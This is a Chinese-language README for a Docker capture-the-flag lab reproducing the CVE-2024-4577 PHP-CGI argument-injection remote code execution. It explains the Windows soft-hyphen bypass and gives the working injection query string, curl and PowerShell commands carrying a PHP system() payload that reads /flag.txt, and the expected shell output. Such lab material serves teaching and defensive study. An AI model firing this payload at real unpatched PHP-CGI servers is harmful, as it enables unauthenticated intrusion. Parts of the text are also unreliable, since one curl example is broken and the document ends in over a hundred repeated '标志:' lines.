基于 Docker 的 CTF 实验环境,演示 CVE-2024-4577 PHP-CGI 参数注入漏洞,可导致远程代码执行(RCE)。包含存在漏洞的 PHP 5.4.1 CGI、漏洞利用脚本及 flag 获取流程。
一个自包含、从零构建的 Docker 实验环境,演示了 CVE-2024-4577 背后的真实
参数注入 → 远程代码执行原语。
通过 http://localhost:8080 利用它,获取 shell,并从容器内部读取 flag。
这是一个真实的漏洞,而非模拟漏洞。 该容器会编译一个未打补丁的 PHP 5.4.1 CGI 二进制文件,并以真实易受攻击主机的配置方式将其接入 Apache。其中没有任何虚假的 “if password == flag” 检查——获取 flag 的唯一途径是真正实现代码执行。
CVE-2024-4577 的标志性载荷使用 %AD(软连字符)。该技巧
仅在 Windows 上有效,因为 Windows 的 “最佳匹配”字符编码
会在 PHP 的 CVE-2012-1823 补丁已经检查完查询字符串之后,将字节 0xAD 转换为真正的 -(0x2D)。该编码转换由
Windows 自身完成——它不会发生在普通的 Linux Docker 容器中。
因此,一个忠实还原、可在你的机器上运行的 Linux 实验环境,复现的是完全相同的
RCE 原语——通过 URL 进行 php-cgi 选项注入 → -d auto_prepend_file=php://input → 代码执行——使用的是字面量 -
形式(即 CVE-2024-4577 的父级漏洞 CVE-2012-1823)。与真实 Windows CVE-2024-4577 目标的唯一
区别在于 %AD→- 的编码绕过层,本 README 对此进行了完整说明(参见
工作原理 和
poc.http)。
| 本 Linux 实验环境 | 真实 CVE-2024-4577(Windows) | |
|---|---|---|
| 易受攻击组件 | php-cgi | php-cgi |
| RCE 原语 | -d auto_prepend_file=php://input | 完全相同 |
| URL 中的分隔符 | 字面量 - | %AD(最佳匹配 → -) |
| 绕过 2012 年补丁? | 不适用(PHP 早于该补丁) | 是,通过 Windows 最佳匹配 |
| 可在 Win 11 家庭版 + Docker Desktop 上运行 | ✅ | ❌(需要 Windows 容器) |
如果你特别需要逐位复现 Windows 的 %AD 利用方式,你需要一个支持 Windows 容器的 Docker 主机(Windows Server / Win 专业版 + Hyper-V)——它
无法在 Windows 11 家庭版上运行。Windows 载荷已包含在
poc.http 中供参考。
CVE-2024-4577 — PHP CGI 参数注入导致远程代码执行。 由 DEVCORE(Orange Tsai / Angelboy) 发现, 于 2024-06-06 披露。
当 PHP 以 CGI 模式部署(或 php-cgi.exe 二进制文件以其他方式可访问)在
Windows 上,且系统区域设置为特定语言(繁体/简体中文、日语等)时,Web 服务器会将 HTTP 查询字符串传递给
php-cgi 作为命令行参数。攻击者可以将 php-cgi
命令行选项(-d ...)混入该查询字符串。Windows 的 最佳匹配
代码页转换会将软连字符字节 0xAD(%AD)转换为 ASCII
连字符 -,从而绕过 CVE-2012-1823 的加固措施,使攻击者能够
设置任意的 PHP INI 指令——最有用的是
auto_prepend_file=php://input 配合 allow_url_include=1,这会将攻击者提供的请求体作为 PHP 代码执行。结果:未认证的远程代码执行。
该漏洞在数天内就被野外武器化利用(例如 TellYouThePass
勒索软件)。
CGI 将查询字符串作为 argv 传递。 根据 RFC 3875,如果 CGI 请求的
查询字符串中没有未编码的 =,服务器会按 + 拆分,
对每个词进行 URL 解码,并将这些词作为命令行参数传递给 CGI 程序。因此 php-cgi 会接收到攻击者控制的
argv。
php-cgi 将这些 argv 解析为选项。 历史上 php-cgi 会
从该 argv 中解释 -d key=value、-T 等选项。传入
-d allow_url_include=1 -d auto_prepend_file=php://input 会使 PHP 将请求体作为代码执行 → CVE-2012-1823。
CVE-2012-1823 的修复在 Windows 上不完整。 2012 年的补丁在
sapi/cgi/cgi_main.c 中添加了一个防护:大致为*“如果(原始)查询字符串以
- 开头且不含 =,则跳过选项解析(skip_getopt)。”* 攻击者
发送字面量 - 现在会被阻止。
最佳匹配编码击败了防护(2024 年的漏洞)。 在 Windows 上,PHP
使用区域代码页并启用最佳匹配映射来转换命令行。
攻击者发送 %AD(字节 0xAD,软连字符)。在
防护检查的时刻,第一个字节是 0xAD,不是 -,因此
skip_getopt 不会被设置。之后,当 PHP 实际构建 argv 时,
Windows 的最佳匹配会将 0xAD 映射为 -,因此 getopt 现在看到的是 -d。选项
注入在本应阻止它的检查之后触发。这种先检查后转换的顺序就是整个漏洞的核心。
在本 Linux 实验环境中,步骤 1–2 使用一个早于步骤 3 补丁的 php-cgi 被精确复现,因此字面量
-形式有效,并演示了 相同的 RCE。步骤 4 是仅限 Windows 的层面,已记录但未执行 (Linux 没有最佳匹配转换)。
已在 8.3.8、8.2.20、8.1.29 中修复。因此以下版本易受攻击:
条件: Windows 操作系统;PHP 以 CGI 模式运行或 php-cgi.exe 暴露在外
(默认的 Windows 版 XAMPP 配置即易受攻击);最佳匹配路径需要受影响的语言区域。(父级漏洞 CVE-2012-1823——本实验环境运行的
原语——影响任何在此配置下运行未打 2012 年补丁的 php-cgi 的操作系统。)
cve-2024-4577-lab/ ├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache ├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails) ├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80 ├── start.sh # container entrypoint (Apache foreground) ├── exploit.sh # one-shot RCE PoC (bash + curl) ├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload) ├── app/ │ └── index.php # ordinary web page (NOT itself vulnerable) ├── config/ │ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring │ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.) ├── flag.txt # the flag (copied to /flag.txt in the container) └── README.md # this file
## 5. 前提条件
- **Docker Desktop**(Windows/macOS)或 Docker Engine(Linux)。
Windows 11 家庭版:安装带有 **WSL 2** 后端的 Docker Desktop(默认)。
→ https://www.docker.com/products/docker-desktop/
- 用于利用的 `curl`(`curl.exe` 内置于 Windows 10/11;也包含在
Git Bash / WSL / macOS / Linux 中)。
- **构建期间**需要互联网访问(下载 PHP 5.4.1 源码)。
## 6. 构建说明
在 `cve-2024-4577-lab/` 文件夹中打开终端。
### 选项 A — docker compose(推荐)```bash
docker compose up --build -d
docker 构建命令:```bash docker build -t cve-2024-4577-lab .
**docker run 命令:**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
该构建会从源码编译 PHP(首次约需 2–5 分钟)。如果在你的机器上构建失败(离线、缺少工具链、museum.php.net 被屏蔽),请使用备用基础镜像:
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab . docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
curl -s http://localhost:8080/ | head -n 20
你应该能看到 **ACME 内部状态门户** 的 HTML 页面,关键在于:```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>
SAPI: cgi-fcgi(即通过 php-cgi 提供服务)确认易受攻击的组件位于请求路径中。同时检查日志:```bash
docker logs cve-2024-4577-lab
## 8. 利用步骤
注入的查询字符串(经过 URL 编码,因此 Apache 看不到**字面上的 `=`**,从而将其视为 CGI argv):```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
which php-cgi 解析为:``` -d allow_url_include=1 -d auto_prepend_file=php://input
**请求体**会成为 PHP 源代码(通过 `php://input` 读取),并在 `index.php` *之前*运行。
### 8a. 最简单的方式——运行脚本```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"
curl -s -H "Content-Type: text/plain"
--data-binary ""
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> 在 **Windows PowerShell** 上,请显式使用 `curl.exe`(PowerShell 的 `curl`
> 是 `Invoke-WebRequest` 的别名,会破坏查询字符串):
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
> --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
> "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```
### 8c. 手动 — 原始 HTTP(Burp Repeater)
参见 [`poc.http`](#poc-http)。将请求 #1 粘贴到 Burp Repeater 中并发送。
## 9. 预期输出```
[*] Target : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.
uid=33(www-data) 这一行证明了任意操作系统命令执行,执行身份为
Web 服务器用户——这是真正的代码执行,而非打印的字符串。
flag 位于容器内的 /flag.txt——在 Web 根目录(/var/www/html)之外,
因此无法通过 HTTP 访问。读取它的唯一方式是通过 RCE 运行命令:```bash
bash exploit.sh http://localhost:8080 "cat /flag.txt"
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志:
标志: